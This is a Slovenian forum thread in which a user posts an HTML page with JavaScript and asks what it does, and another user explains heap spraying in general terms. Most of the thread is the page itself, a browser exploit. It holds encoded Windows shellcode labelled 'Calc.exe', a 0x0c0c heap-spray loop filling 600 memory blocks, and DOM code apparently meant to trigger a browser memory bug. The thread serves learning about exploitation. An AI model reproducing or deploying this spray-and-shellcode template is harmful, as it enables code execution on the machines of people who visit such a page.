» »

JavaScript Algoritem

JavaScript Algoritem

Ales_S ::

Pozdravljeni!

Tisti, ki imate dobro znanje programskega jezika JavaScript boste zagotovo znali pomagati.

Zanimalo bi me kaj sledeči algoritem počne; naj bi bila prekoračitev medpomnilnika na kopici (heap). Razen tega kar počne bi bilo priročno razumeti tudi ukaze v obliki nekakšne pseudokode.

Vem, da ima mnogo od vas veliko znanja, zato se zahvaljujem že v naprej!

<html>
<head>
</br>
<div id="content">
<p>
<FONT>                             
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=JavaScript>
 
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +   
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
                       "%u652E%u6578%u9000");
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)  
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}
 
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}
 
function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }    
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>


Hvala lepa vsem!

fiction ::

Preberi si kaj o Heap sprayingu. V bistvu sploh ni toliko fora v tem JavaScriptu. Ne gre za ne vem kaksen algoritem. To je le nacin, da na cim vec delov v pomnilniku (na kopico od brskalnika) napises tvoje strojne ukaze (shell kodo). var shellcode so v bistvu direktno bajti od ukazov, ki jih razume procesor.

Problem je nek bug v browserju. Tvoj cilj je izvesti tvoje ukaze. Prekoracitev na skladu ponavadi izrabis tako, da prepises "return address" in tako izvedes skok na tvojo kodo. Zaradi raznih zascitnih mehanizmov to ponavadi ni vec tako enostavno. Prekoracitev na heapu je pa se bolj tezko izrabiti. Naceloma lahko program skoci tudi na nek nakljucen naslov (in ti s tvojim vhodom lahko le povzorcis napako, ne more pa tvoj vhod kontrolirati kam program skoci). Postopek za izkoriscanje take napake je potem tak, da poskusis na cim vec kosov v pomnilniku napisati tvoje ukaze in potem upas da bo nakljucen skok ravno na en tvoj kos.


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

toplota na uporu

Oddelek: Elektrotehnika in elektronika
275183 (3731) A. Smith
»

Fizika: Kondenzator

Oddelek: Šola
71288 (1132) Galaxy
»

220V na tiskanem vezju (strani: 1 2 )

Oddelek: Elektrotehnika in elektronika
566084 (5079) krho
»

Fizika - kondenzator(lahka naloga)

Oddelek: Šola
193034 (2771) cojss
»

natančni termometri

Oddelek: Elektrotehnika in elektronika
81785 (1676) radiator

Več podobnih tem